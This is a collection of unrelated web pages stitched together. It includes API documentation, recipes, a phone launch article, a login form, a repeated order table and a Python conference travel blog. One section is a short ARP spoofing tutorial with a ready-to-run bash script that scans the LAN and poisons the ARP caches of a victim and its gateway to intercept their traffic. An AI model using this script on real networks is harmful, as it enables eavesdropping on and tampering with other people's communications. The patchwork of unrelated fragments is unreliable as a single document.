Main expression handle (should only be used as parent class).
More...
#include <syntax.hpp>
|
|
std::size_t | depth |
| |
|
Expr * | lastEval = nullptr |
| |
Main expression handle (should only be used as parent class).
- See also
- StackFrameObj
To use Expr as local heap variable, use a StackFrameObj.
◆ equals()
| virtual bool Expr::equals |
( |
const Expr * |
expr, |
|
|
bool |
exact = false |
|
) |
| const |
|
inlinevirtualnoexcept |
Checks if this expression and expr have the same structure, Every expression has the same structure as '_' (it's called ANY after all).
- Parameters
-
| expr | The expression to compare to this. |
| exact | If true any must equal any and nothing else. Otherwise any is equal to anyting else. |
Reimplemented in LetExpr, AnyExpr, IfExpr, AtomExpr, LambdaExpr, IdExpr, IntExpr, NumExpr, UnOpExpr, and BiOpExpr.
◆ eval()
◆ evalWithLookup()
- Returns
- Returns Last evaluation if already computed (except assignments). If no last evaluation, evaluate. To reset evaluation "lastEval = nullptr".
- Parameters
-
◆ getExpressionType()
| ExprType Expr::getExpressionType |
( |
| ) |
const |
|
inlinenoexcept |
- Returns
- Returns the type of expression.
- See also
- ExprType
◆ getIdentifiers()
| virtual std::vector<std::string> Expr::getIdentifiers |
( |
| ) |
const |
|
inlinevirtualnoexcept |
◆ getTokenPos()
| const TokenPos& Expr::getTokenPos |
( |
| ) |
const |
|
inlinenoexcept |
- Returns
- Returns position of token in code.
◆ hasLastEval()
| bool Expr::hasLastEval |
( |
| ) |
const |
|
inlinenoexcept |
- Returns
- Returns true, if has last evaluation (not nullptr), otherwise false.
◆ optimize()
◆ replace()
| virtual Expr* Expr::replace |
( |
GCMain & |
gc, |
|
|
const std::string & |
name, |
|
|
Expr * |
expr |
|
) |
| const |
|
inlinevirtualnoexcept |
Replace all identifiers equal to name with expr.
- Parameters
-
| gc | |
| name | Identifer name to replace. If name is empty, every identifier will be replaced by AnyExpr(expr_any). |
| expr | The expression to replaces identifiers. |
- Returns
- Returns new expression, where matching identifiers are replaced. Returns itself if not possible (expression can't contain any identifiers) or if expression is a lambda function, where the <id> is equal to name.
Reimplemented in LetExpr, IfExpr, LambdaExpr, IdExpr, and BiOpExpr.
◆ toString()
| virtual std::string Expr::toString |
( |
| ) |
const |
|
inlinevirtualnoexcept |
The documentation for this class was generated from the following file:


How to perform an ARP Spoof Attack
ARP Spoofing
ARP is a protocol from The TCP/IP model, which stands for Address Resolution Protocol, and the purpose of it is to translate IP address to MAC address and vice versa.
Each host has an ARP table, with the entries of IP/MAC associations from the other known hosts in the localnetwork. to check the ARP table from your host, run:
arp -a
How ARP protocol works:
Client sends and ARP request in broadcast:
Only the host which has that IP address replies to the client:
In the ARP spoofing attack, the attacker tells that he is the gateway to the victim, and tells that he is the other host to the gateway, forwarding the packets between both of them.
ARP spoofing is possible because:
- Client accept arbitraty responses
- Client does not verifies if the responses are authentic
Performing an attack
Discover the network
netdiscover -r <IP_ADDRESS>/24
#!/bin/bash
# arpspoof_attack.sh
#
INTERFACE=eth0
MY_ADDRESS=<IP_ADDRESS>
VICTIM_ADDRESS=<IP_ADDRESS>
GATEWAY_ADDRESS=<IP_ADDRESS>
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i $INTERFACE -t $VICTIM_ADDRESS $GATEWAY_ADDRESS &
arpspoof -i $INTERFACE -t $GATEWAY_ADDRESS $VICTIM_ADDRESS
Read other posts


‘Galaxy Fold is game changer’ - The Nation Newspaper
LUCAS AJANAKU
The Managing Director, Samsung Electronics West Africa, David Suh, has said the Galaxy Fold will redefine the way smartphones are used in the country.
Speaking during the unveiling of the device in Lagos at the weekend, he said: “Samsung prides itself on being at the forefront of design and technology innovation and the Galaxy Fold is a testament to this.
“Quite simply, it’s a device that will change the way we use smartphones, as well as what we expect them to do in the future. I’m really looking forward to seeing user responses to this amazing device.”
The Galaxy Fold features world’s first 7.3-inch Infinity Flex Display, which folds into a compact device with a cover display. Galaxy Fold offers a powerful new way to multitask, watch videos, play games, and more – bringing to life new experiences and possibilities years in the making.
Read Also: Samsung updates software to fix fingerprint recognition problem
Galaxy Fold doesn’t just define a new category, it defies category. When folded, Galaxy Fold’s slim silhouette slips easily into your bag or pocket. It also fits comfortably in the hand, putting all apps within easy reach. When opened up, the displays work together seamlessly with impressive app continuity, allowing users continue effortlessly with whatever they may have been busy with when folded up.
The dual battery capacity is a game-changer that uses and recharges both cells to prevent overcharging. To save power, the intelligent battery management puts apps not in use on reserve.
Thanks to the six pro-grade cameras, users are sure to capture stunning photos and videos.


You can always adopt a pet and save an innocent life. Also check out our Augmented Reality Experience!!
Please download an Unity app on your phone to get the Augmented Reality thrill about the Dog life.
We protect innocent lives San Francisco, CA, USA
Email: petsar.us
Phone: 1800-641-2700
Copyright © 2016 PetsAR.US


cel.col
(module)
Factory for the col metacel
function
cel.col(t) Creates a new col.
Creates a new col. The col is influx until this function returns.
cel.col {
gap = number,
TODO explain non-cel table entries
}
gap number
- the amount of space to leave between slots in the col. Default is 0.
col
- a new col.
function
cel.col.new([gap [, face]]) Creates a new col.
Creates a new col.
gap number
- amount of space to leave between slots in the col. Default is 0.
face face
- face or face name.
col
- a new col.
col
(cel)
A cel that arranges its links into a vertical sequence or column.
function
col:get(index) Get a link by index.
Get a link by index.
index integer
- An array index.
cel
- the cel that is linked to the col at the specified index, or nil.
function
col:insert(link, index) links the given cel to the col, inserting it at the given index.
links the given cel to the col, inserting it at the given index. This is a shortcut for using link, when a linker is not required.
index integer
- An array index. If not provided then link is appended to the end of the col
link integer
- The cel to link to the col.
col
- self
function
col:insert(link) links the given cel to the end of the col
links the given cel to the end of the col This is a shortcut for using link, when a linker is not required.
link integer
- The cel to link to the col.
col
- self
function
col:remove(index) unlinks the cel at the given index.
unlinks the cel at the given index. If the index is invalid the col remains unmutated.
index integer
- An array index.
col
- self
function
col:clear() effciently unlinks all cels from the col.
effciently unlinks all cels from the col. The col will be in flux for the duration of clear().
col
- self
function
col:len() returns number of cels in the col.
returns number of cels in the col.
integer
- The number of cels in the col.
function
col:next(link) Get the cel which has an index that is 1 greater than the index of the given link in the col.
Get the cel which has an index that is 1 greater than the index of the given link in the col.
link cel
- a cel linked to the col, if the cel is not in the col nil is returned.
cel
- the link following the given link in the col, or nil
function
col:prev(link) Get the cel which has an index that is 1 less than the index of the given link in the col.
Get the cel which has an index that is 1 less than the index of the given link in the col.
link cel
- a cel linked to the col, if the cel is not in the col nil is returned.
cel
- the link preceding the given link in the col, or nil
function
col:indexof(link) Get the array index of the given link in the col.
Get the array index of the given link in the col.
link cel
- a cel linked to the col, if the cel is not in the col nil is returned.
integer
- the array index of the given link in the col, or nil.
function
col:flux(callback, ...) Puts the col into flux and calls the given function.
Puts the col into flux and calls the given function. Before the function is called the col is reconciled, meaning that all links are in col and the col dimensions are the minimum size such that no link is clipped by the col. After the callback function returns the col is reconciled again.
callback function
- a callback function, it will be called as callback(...).
... ...
- parameters passed to the callback function.
col
- self
function
col:beginflux([reconcile]) Puts the col into flux.
Puts the col into flux. When a col is in flux it will not automatically reconcile. An equal number of calls to endflux are required to take the col out of flux.
reconcile boolean
- If true the col is reconciled.
col
- self
function
col:endflux([reconcile]) Takes a col out of flux and reconciles it.
Takes a col out of flux and reconciles it. An equal number of calls to beginflux/endflux are required to take the col out of flux.
reconcile boolean
- If false the col will not be reconciled if it is still in flux.
col
- self
function
col:pick(x, y) Returns the link at the give xy coordinate in the col.
Returns the link at the give xy coordinate in the col. x is ignored for a vertical col, y is ignored for a horizontal col. TODO document which link is picked when it falls on a gap
x number
- For a horizontal col the x coordinate.
y number
- For a vertical col the y coordinate..
cel
- The link closest to the x coordinate for a horizontal col, or closest to the y coordinate for a vertical col
function
col:ilinks() Returns an iterator function and the col.
Returns an iterator function and the col.
for index, link in col:ilinks() do end
iterator
- an iterator function
listbox
- the col, iterator function invariant state
function
sort TODO
TODO
function
swap TODO
TODO
function
replace TODO
TODO


To add a Lamkaang acute accent or dot to any letter, after typing the letter, press the backtick (`) key, normally at the top left corner of the keyboard.
e.g. Typing a` produces á. Typing t` produces ṭ.
To add the ring accent mark, press the backtick key twice.
e.g. Typing u`` produces ů.
© 2021-2022 Lamkaang Community


Preparation time
less than 30 mins
Cooking time
1 to 2 hours
Serves
Serves 8
Dietary
‘Oranges and lemons rang the bells of St Clements’. We can’t sing the praises enough of this Christmassy citrus cake.
Equipment and preparation: you will need 23cm/9in round springform cake tin and a clean sheet of muslin.
Simmer the clementines in a large pan of water for an hour. Remove from the water and leave to cool. Chop the clementines and remove and discard any pips, then chop and purée using a food processor or blender to a pulp.
Grease a 23cm/9in round springform cake tin, line the bottom with greaseproof paper and grease again.
Preheat the oven to 160C/325F/Gas 3.
Mix together all the dry ingredients including the zest in a mixing bowl.
Add the eggs and mix until smooth. Add the orange pulp and mix again.
Bake the cake for about 55 minutes, or until a wooden skewer pierced into the middle comes out clean.
For the spiced mulled wine syrup, wrap the orange, cinnamon, star anise and cloves in a clean sheet of muslin. Put the sugar and wine into a pan with the muslin spices, bring to the boil and simmer for 10 minutes. Carefully remove the muslin.
Add the cranberries to the syrup and cook until softened. Remove from the heat and leave to cool.
For the orange syrup glaze, boil the orange juice and sugar in a pan to a thick syrup. Remove from the heat and leave to cool.
Once the glaze is cool, spread it onto the baked cake.
To serve, cut a wedge of the cake and place on a plate. Spoon on a quenelle of crème fraîche, sprinkle with both zests and some pistachios, if using. Spoon the mulled wine syrup around.


|
| | DataLogBlock (size_t dim, size_t max_samples, size_t start_id) |
| |
|
size_t | Samples () const |
| |
|
size_t | MaxSamples () const |
| |
|
size_t | SampleSpaceLeft () const |
| | Return how many more samples can fit in this block.
|
| |
|
bool | IsFull () const |
| |
|
void | AddSamples (size_t num_samples, size_t dimensions, const float *data_dim_major) |
| | Add data to block.
|
| |
|
void | ClearLinked () |
| | Delete all samples.
|
| |
|
DataLogBlock * | NextBlock () const |
| |
|
size_t | StartId () const |
| |
|
float * | DimData (size_t d) const |
| |
|
size_t | Dimensions () const |
| |
|
const float * | Sample (size_t n) const |
| |
|
|
size_t | dim |
| |
|
size_t | max_samples |
| |
|
size_t | samples |
| |
|
size_t | start_id |
| |
|
std::unique_ptr< float[]> | sample_buffer |
| |
|
std::unique_ptr< DataLogBlock > | nextBlock |
| |
◆ DataLogBlock()
| pangolin::DataLogBlock::DataLogBlock |
( |
size_t |
dim, |
|
|
size_t |
max_samples, |
|
|
size_t |
start_id |
|
) |
| |
|
inline |
- Parameters
-
| dim | dimension of sample |
| max_samples | maximum number of samples this block can hold |
| start_id | index of first sample (from entire dataset) in this buffer |
The documentation for this class was generated from the following file:
- /home/aoberai/programming/python/blind-navigation/display_3d/documentation/Pangolin/include/pangolin/plot/datalog.h


Pro_Pack : importexport¶
ProPack importexport module manages files and sourcecontrol
>>> # import statement for the module via the r9pro decompiler
>>> from Red9.pro_pack import r9pro
>>> r9ie = r9pro.r9import('r9ie')
Main Classes
MayaFile ([filePath]) |
|
Fbx ([filepath]) |
base class to handling FBX file import and export |
P4_sourceControl ([path, muted]) |
The P4_sourceControl object is bound to the r9File instance automatically if your project is set to run with Perforce. |
r9File ([path]) |
Red9 file handler system, bound to OS calls directly to the class instance. |
-
resolve_path
(path, path_hints=[])¶ from a given path make sure it exists, if it doesn’t, relax the rules and try and find it in the project structure or in the same folder as the current Maya scene
order of resolve:
1: file exists as given2: path_hint param inspected for filename existence3: file found in Maya workspace mounts, currently support scenes, images, sounds, movies4: file found in the same folder as the current Maya scene
-
getNewNodes
(func)¶ DECORATOR: CLASS METHODS ONLY:
get all new nodes in the scene after a method has been run. This decorator sets an attr self._newNodes in the object instance where all new created nodes are store as a list. This will still return the results of the actual function and not the nodes.
-
checkPlugin
(pluginName)¶
-
checkFile
(fileName, ext)¶
-
dereference_file
()¶ dereference the currently loaded Maya file and import all
-
class
MayaFile
(filePath=None)¶ Bases:
Red9.pro_pack.browser.actions.FileBaseActions
-
saveMa
()¶ save out the current Maya scene as an MayaAscii file
-
saveMb
()¶ save out the current Maya scene as a MayaBinary file
-
open
(*args, **kws)¶
-
importFile
(*args, **kws)¶
-
reference
(*args, **kws)¶
-
replace_reference
(new_path=None)¶ Replace reference paths in maya file to a new given file path
Parameters: new_path – string new path to be use for reference Returns: bool True or false
-
-
class
ABC
(filepath=None)¶ << TESTING ONLY >>
base class for Alembic Cache file management
-
exportABC
(filepath=None, meshes=[], selection=False, timeranges=(), *args, **kws)¶ initial wrap of the ABC export calls to fit into the [ProPack pipeline, this will no doubt expand in the future!
Parameters: - filepath – if given we export to this path else we use self.filepath
- meshes – the meshes to export, if not given we either export ALL meshes, or just selected based on the selection flag
- selection – if given and not meshes then we export the currently selected meshes only
- timeranges – (start, end) timeranges to epxort
-
-
class
Fbx
(filepath=None)¶ Bases:
object
base class to handling FBX file import and export
C:Program FilesAutodeskFBXlocation of the Python SDK when installed
-
importFbx
(fileName=None, preset=None, take=None)¶ import fbx with the base fbximport preset from motionbuilder
Parameters: - fileName – fbx file to import, if not given we use self.filepath (if set), else we raise the selector dialog
- preset – if given use this preset rather than the internal preset of Red9
- take – if given we import that specific take, else we use the default which is take 1. ONLY valid for 2017 upwards
Note
the presets must be in the “Red9/pro_pack/core/FBX_presets/import” folder to be loaded
-
referenceFBX
(fileName=None, namespace=None, groupname=None, preset=None, take=None)¶ reference wrapper for FBX handling
Parameters: - fileName – the fbx to reference, if not given we use self.filepath (if set), else we raise the selector dialog
- namespace – the namespace to use
- groupname – the groupname to group everything under
- preset – any custom fbx handling preset to be used
- take – if given we reference that specific take, else we use the default which is take 1. ONLY valid for 2017 upwards
-
exportFbx
(fileName=None, selection=False, preset=None, bakeanim=False, geoflags=False, timeranges=(), axis='', takedata={}, hik_valid=True, *args, **kws)¶ export selected data to fbx
Parameters: - fileName – fbx file to export too, if not given we use self.filepath (if set), else we raise the selector dialog
- selection – bool, export the selected nodes or the scene
- preset – if given use this preset rather than the internal preset of Red9
- bakeanim – invoke the fbx bakeAnimation calls, designed for the export of skeleton data mainly, not SRC data
- timeranges – (start,end) set the timeranges specifically OR as per the current timeranges
- hik_valid – if true and the exporter has the cast_hik flag set then we process the hik casting, else we mute it. This is here so the results of the skeleton prep calls can over-ride the exporter base settings if they failed to cast the HIK correctly
Note
the presets must be in the “Red9/pro_pack/core/FBX_presets/export” folder to be loaded
-
updateFbx
(fileName=None, take=None)¶ import an fbx via the ‘update’ option, if nodes are found in the scene their anim data will be updated
Parameters: - fileName – fbx file to import, if not given we use self.filepath (if set), else we raise the selector dialog
- take – if given we reference that specific take, else we use the default which is take 1
-
addFbx
(fileName=None)¶ import using the ‘add’ only method, all data will be imported as new
Parameters: fileName – fbx file to import, if not given we use self.filepath (if set), else we raise the selector dialog
-
getTakeInfo
(fileName=None, *args, **kws)¶ get take info from the fbx data internals
Parameters: fileName – fbx file to be inspected
-
-
manage_p4_exception_level
(func)¶ DECORATOR : forces the P4 exception level to 3 so that errors are raised, enabling the code to catch and deal with them!
-
class
P4_sourceControl
(path='', muted=False)¶ Bases:
object
The P4_sourceControl object is bound to the r9File instance automatically if your project is set to run with Perforce. This is done through the /Red9_ClientCore/MyClient/resource/client.project file which Red9 as a consultancy service will usually setup for you OR through the new Project Maya.env variable (see project module help documentation for more details)
The project file is subsequently bound during boot to the PROJECT_DATA object which controls all aspects of the project and paths used by all the codebase.
To enable Perforce this simple json dict needs the key ‘p4_project’ set to True and P4 must be available. On boot we test this and set the systems accordingly. If the following does not return ‘perforce’ then the Perforce environment wasn’t found at boot and all P4 source control will be disabled.
>>> from Red9.pro_pack import PROJECT_DATA >>> PROJECT_DATA.source_control
Perforce format reference:
Note
This accepts either the file pointer or depot folder path if you want to act on multiple files at once. Ideally folder depot path needs to end in … to denote that we’re walking into that path.
If you want to clamp to a given format in a folder you can pass the depot path as ‘//depot/path/to/stuff/…ma’ for example
TODO: decouple this from Maya so it can be using in native Python (MoBu support etc)TODO: decouple the connection from PROJECT_DATA and use classmethods to bind to the class itselfParameters: - path – the path to work on
- muted – If True we mute all of the actual P4_API calls, turning this class basically into a stub class this is so that if you have code in your pipeline that calls these functions then they are still available, they just do nothing, muting the Perforce calls.
-
connect
(p4_params={})¶ main p4 connect call which takes params to enable us to connect to specific servers
Parameters: p4_params – dict with the P4 connection keys in, if not given P4 will connect with the defaults from your environment p4_params = {port’:, client:’’, user:’’, password:’’}
-
disconnect
()¶ simple disconnect from the P4 server
-
connected
(force=False)¶ a base level valid test so that it’s only called once and managed
Parameters: force – whether we always re-test the connection or cache it’s state only once, this is so that if P4 was down when we booted we can force a re-test, else the fact that it was down on boot is cached and the connection to P4 severed
-
refresh_connection
()¶ refresh the last / current connection, this pulls the p4_params from the PROJECT_DATA._p4_params which is cached on connect so that we always restore the last connection
-
connection_details
()¶ return and cache the current P4 server connection details for later use if we need to refresh the connection, this fills in the PROJECT_DATA._p4_params cache
-
static
get_application_settings_file
()¶ return the path to the .p4qt/ApplicationSettings.xml
-
classmethod
connection_map
()¶ get a dict of available perforce server connections, this uses the .p4qt/ApplicationSettings.xml data to find all recent connections, similar to the recent connection list shown in the Perforce Helix clientUI
Note
we could switch to using the .p4qt/connectionmap.xml data but that xml holds ALL previous connections and might point to servers that are no longer valid. Using the ApplicationSettings data means that the last active connections are used instead
TODO: verify and check this under LINUX
-
path_iswildcard
()¶ check if our given path var is a dir or a single file object, ie endsWith ‘…’ or ‘*’
-
handle_exceptions
()¶ specific exception to manage the P4 binding, if any of these are raised we bail the P4 connection in the PROJECT.SOURCE_CONTROL object
current specific Perforce exceptions handled to raise a bailed=True:
- ‘TCP receive failed’
- ‘Partner exited unexpectedly’
- ‘Your session has expired, please login again’
- “has not been enabled by ‘p4 protect’”
-
p4_run
(*args, **kws)¶ wrapper over the run call so we handle exceptions easier
-
exception_level
(level=2)¶ set the P4 API Exception level for P4 calls The exception level of the P4 instance.
0 : no exceptions are raised.1 : only errors are raised as exceptions.2 : warnings are also raised as exceptions.The default value is 2.
-
info
()¶ get the general Perforce session info
-
username
(**kwargs)¶ return the current “userName” from P4 info keys
-
owner
()¶ return the current “owner” from P4
-
client_root
()¶ return the “clientRoot” from P4 info keys
-
client_name
()¶ return the “clientName” from P4 info keys
-
client_host
()¶ return the “clientHost” from the P4 info keys
-
client_fetch
()¶ get client details: p4.fetch_client()
-
client_set
(client)¶ set the P4 client on the fly
Parameters: client – new client to set
-
clients
(**kwargs)¶ return all available clients for the given user, or current user if not given
Parameters: - full – if True and no user is passed in we inspect the entire P4 database, else we automatically clamp to just the current user
- user – if passed in we inspect just the given username
-
clients_local
()¶ return ONLY clients for the current user and against the current Host
-
revision
()¶ return the current revision that you have in your workspace
-
exists
()¶ simple bool, is the file path already in P4? Checked via a simple fstat call
-
exists_local
()¶ os check if the file exists locally. Issue is that P4 can say you have the file in your workspace but you may have deleted it locally
-
fstat
()¶ get all fstat info for the fileobject, returned as a dict
-
fstat_dir
(**kwargs)¶ where the path bound in the object is just that, a depot folder path rather than a file pointer.
Parameters: - filetype – if you want to clamp the fstat to a given file extension
- recursive – append ‘…’ to the search to make it recursive folder
-
is_head
()¶ return True if you have the head revision in your workspace, this DOESN’T check if it exists locally however
-
have_rev
(rev=None)¶ return the revision you have locally in your workspace, if this returns nothing then the file does not exist in your workspace yet and return False
Parameters: rev – if given we check the version you have against this revision and return a bool
-
head_revision
()¶ head revision number of the fileobject in Perforce
-
have_head
()¶ The file you have is the Head revision AND exists locally. The issue with P4 is that you can get the fstat to return that you have the head file in your workspace, but you may have deleted the local file. This validates both cases.
-
client_file
()¶ local ‘client’ path to the fileobject
-
depot_file
()¶ local ‘depotFile’ path to the fileobject
-
client_parentfolder
()¶ return the stripped back parent folder on the client side
-
depot_parentfolder
()¶ return the stripped back parent folder on the depot side
-
sync
(**kwargs)¶ sync the file to headRevision of this fileobject
Parameters: - force – use the force flag when syncing
- exists – ensure that the file exists in the local if not set force
Note
if exception_level=0 the except handler will not get called and therefore things don’t act as expected
-
checkout
(**kwargs)¶ checkout the fileobject in P4
Parameters: - changelist – if given use this changelist else use the default
- force – if the file is NOT in your workspace, sync it before checkout, this also verifies that you haven’t deleted the local version of that file
-
checkin
()¶ Not Implemented for safety
-
revert
(**kwargs)¶ revert this fileobject
-
revert_unchanged
(changelist)¶ revert all unchanged items in the given changelist
-
get_revision
(revision)¶ get a specific revision of this fileobject
Parameters: revision – revision to get
-
create_changelist
(text)¶ make a fresh changelist with the text given
Parameters: text – text to use in the changelist description
-
get_changelist_info
(changelist)¶ get the details back on a given changelist for this fileobject
Parameters: changelist – changelist to get the info from if given
-
add
(**kwargs)¶ add this fileobject into Perforce
Parameters: changelist – changelist to add the data to if given
-
delete
(**kwargs)¶ mark the fileobject for delete from P4
Parameters: changelist – changelist to delete the data from if given
-
revert_all
(changelist)¶ revert all changes in a given changelist
Parameters: changelist – changelist to revert
-
push_file
(changelist=None)¶ This is a wrap over checkout and add, if the file already exists in P4 then we check it out, if it’s a new file that doesn’t exist then we mark it for add
Parameters: changelist – changelist to add the fileobject to if given


Home
Contact
About
Logout
Item
Recommendation
Username:
Password:
New User? Register
Login
Username: *
Password: *
First Name: *
Last Name: *
Back to Login
Register
Item
Vegetarian
699 Calderon Ave
Mountain View
CA


Preparation time
less than 30 mins
Cooking time
over 2 hours
Serves
Serves 4-6
Ragù is the traditional Sunday lunch for most southern Italian families: the tomato sauce dresses the pasta and the meat is served as a main course.
Heat the olive oil in a large saucepan, add the onion and cook for 4-5 minutes, or until softened.
Add the beef, ribs and sausages to the pan and continue to fry until the meat is browned all over (you may need to do this in batches).
Increase the heat, stir in the diluted tomato concentrate and continue to cook until the volume of the liquid is reduced by one-third.
Add the tomatoes and basil, season with salt and freshly ground black pepper and stir well.
Bring to the boil, then lower the heat to a simmer, cover and cook very gently for about two hours, or until the sauce is thick and silky. Stir from time to time, checking that there is enough moisture; if necessary add a little more wine or water.
Remove from the heat and serve with pasta as suggested above, or on its own with lots of good bread to mop up the rich tomato sauce.


| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |
| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |
| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |
| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |
| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |
| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |
| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |
| 124 |
Forks & Fingers |
Ogunsusi Temitayo |
2 wraps of Semovita, with one shaki |
Delivery |
POS |
400.00 |
5.00 |
|
Web |
Feb 19, 2019 |


PyBerlin and PyDay BCN
I was thinking about what I have in common in visiting Berlin and Barcelona (besides both cities’ name starts with B). I figured something. In Berlin, I gave a talk about Numba and run a PyScript workshop.  So can this be a Numba + PyScript trip?
Day 1 - PyBerlin Day 1
After my early flight to Berlin, I arrived at the office. I checked in and stay on the 1st floor where I prepared for my talk in the evening. I do not mix with colleagues on the 3rd as I am still a bit unwell and afraid I may spread the cold to others. I also skip lunch gathering and head to check in to the hotel early to get a bit of rest before the meetup in the evening.
In the evening I took the S-bahn to the venue. It is in a very nice and chill part of the city. After the opening and a talk by the sponsor. I gave my talk about Numba. The recording is available in the video session.
Super excited for @cheukting_ho speaking about #numba at @PyBerlinPython! #python pic.twitter.com/i4CrOj9kuB
— daniel ❤😍😏😏😏 (@misterrios) November 23, 2022
Next, we have a small break and we attempt to connect with PyMunich it’s great to see some familiar faces on the screen. I like the community in Germany as they are all very connected instead of individual meetups in different cities.
Hello @PyMunich ! @laysauchoa I saw you pic.twitter.com/bm8HDNj8Jx
— Cheuk Ting Ho (@cheukting_ho) November 23, 2022
Then there are other talks. I got a chance to meet a few people that I know and met at PyCon DE. It’s nice being there but I didn’t stay for too long as I have to head back to the hotel and get the rest I needed. It will be a long week.
Day 2 - PyBerlin Day 2
Today is event number 2. Originally I plan to go to the office but I am still not feeling 100% and also there’s a lot of work to do. I opted to stay in the hotel and get my video rendered. I also have a final check with the material that we are using at the PyScript workshop at night.
I head to the meetup place, which is located at a different place than event number 1. It is in the south of where I stay. I took the U-bahn to get there.
Welcome to @PyBerlinPython again! Day 2… now it is similar to a conference pic.twitter.com/T8fL1YSgn7
— Cheuk Ting Ho (@cheukting_ho) November 24, 2022
At the meetup, it is like a classroom setting where people got a tiny desks to work. We start with an introductory talk by Antonio my colleague who is in the PyScript team. Then we introduce the hands-on workshop. People can work either on their own or in groups.
PyScript workshop is already in progress 🎙🐍✨ Thank you @antocuni and @cheukting_ho pic.twitter.com/iPwJO90mQN
— PyBerlin (@PyBerlinPython) November 24, 2022
The meetup is very chill. My friends are also there so we had a good time chatting about the future event and conference plans, work to be done within the community etc.
Day 3 - Barcelona here we go
It is a travel day! So I pack up and check out on time to head to the airport. The experience at the new Berlin airport is now bad and I got to Barcelona on time. It is my first time in the city. The first thing I notice is that I do not recognise any words at the airport. Then I realise that the words on the first row are Catalan and the second is Spanish, then English. In Barcelona, their first language is Catalan.
Another thing is, most people here speak English. So they speak at least 3 languages - Catalan, Spanish and English. It reminds me of back home in Hong Kong where people speak 3 different languages at various levels.
I follow Google’s advice and get an airport shuttle bus to the city. Then I took a metro to the hotel I am in. I am staying close to the PyDay venue instead of the city centre which I think it’s a good decision.
After checking in. I spend most of the time planning on Pyjamas Conf which is happening the next day. I am a bit nervous as I have to run both an online conference and give a workshop at the same time the next day. I am glad that I have friends to help and they are so reliable that I can trust them with many things.
Day 4 - PyDay BCN and Pyjamas Conf
It’s the big day! In the morning, I wake up early, have breakfast then prepare to start Pyjamas Conf. After the opening and a technical issue with the first speaker. I entrust most of the operation with my friend Martin and Cristián. Then I head to the PyDay venue which is only 15 mins walk from the hotel.
@PyjamasConf 😀Great topics and great insights!!! pic.twitter.com/nh5G7DKTvy
— Samantha Haak (@samyhaak) November 26, 2022
I went to the venue. After introducing myself to the organisers. I have a look around. It is a very interesting place. It is inside a tiny stadium that has been repurposed. But they still have a big terrace that we can use to take group pictures and socialise.
Thank you all for attending the #PyDayBCN!! 🥰 pic.twitter.com/aJYf3L9TVZ
— Python Barcelona (@PyBCN) November 26, 2022
Then I sit down and pull out my laptop. I try to keep an eye on Pyjamas Conf’s live stream while socialising with people when I have a chance. I also want to practice my Spanish a bit.
Had a great lunch! 🍴 pic.twitter.com/BYCIaGN2vw
— Python Barcelona (@PyBCN) November 26, 2022
When it’s time for my talk. I give my full attention to it. It’s again Numba. But this time it’s a workshop so people have time to work on it and ask questions.
Cómo puede ser que @cheukting_ho tan guay!
— Jimena (@Jimena_y_yo) November 26, 2022
Hoy se divide entre el #pyday y la @PyjamasConf y además nos enseña a hacer Python más rápido 👏🏻👏🏻 pic.twitter.com/KeivgIocVF
After that, I attended the lighting talk session and the closing. It ended with a fun quiz. After the conference, the organisers invited me for a drink later in the evening. Since it is near the hotel I plan to attend after checking if Pyjamas Conf is streaming fine at the hotel.
Congratulations to the quiz winner. Thank you so much for #PyDayBCN @PyBCN pic.twitter.com/UBhrcbWy35
— Cheuk Ting Ho (@cheukting_ho) November 26, 2022
After checking with Cristián that he can handle it while I am away, I have a few beers with the organisers. They are super nice and because I am there, they have to say everything twice - in Spanish and then in English. But I do like hanging out with them I try to speak a bit of Spanish but I am still not good enough to have a conversation with them. However, I managed to speak about PyScript to a few organisers and they know that we have passed the alpha stage and are excited to give it a try soon.
We love @cmaureir because is hosting our sessions 🙈💖💖 #pyjamas @cheukting_ho 🍻 pic.twitter.com/1B6eehPvla
— Jimena (@Jimena_y_yo) November 26, 2022
After that, I head back to the hotel to “drive” Pyjamas Conf till Cristián woke up again in the morning. With help of volunteer hosts, it is not too hard to stay awake and monitor the situation. Except that we had one speaker missing everything was fine. We have a backup for that which is good.
Day 5 - Recover from Pyjamas Conf
I carried on till the next day. I managed to get a tiny nap when we have a technical break between streams but things get much easier when Cristián arrived. I bit he was tired too but he insisted to help. Then when all is done, I gave the closing and now it’s time for a good rest.
Good morning! nothing better than waking up really early to continue following @PyjamasConf ! if you are still around, or opening your eyes, drop by the stream! https://t.co/QY72HWLBBj #pyjamas #python #community
— 「Cristián」 (@cmaureir) November 27, 2022
When I woke up in the afternoon, I need to treat myself so I went to the city centre and have a bubble tea. It is not planned but I happened to see my favourite bubble tea chain in Barcelona and I cannot resists getting one there.
My treat after the 24-HR @PyjamasConf pic.twitter.com/DTfT1MIT0l
— Cheuk Ting Ho (@cheukting_ho) November 27, 2022
I also got a chance to check out the city and have dinner. I like it, especially the beautiful buildings by Antoni Gaudí, it looks so out of this world. I decided to get a ticket to visit one of his most famous buildings La Sagrada Familia before flying back home the next day.
Day 6 - Going home
Before flying home in the afternoon. I went to see La Sagrada Familia in the morning. Fun fact, it is still unfinished! The project has been started more than 100 years ago. I have seen many magnificent buildings before and most of them are centuries old. This is the first time I visit a magnificent building of our time. Imagine after a few generations, when people visited it and were blown away by it like I was blown away by Hagia Sophia. I hope I will get another chance to visit it again when it is finished.
After the visit, I am prepared to go home and get ready for the next event.


What for?
- distributed, non-linear, large-scale project
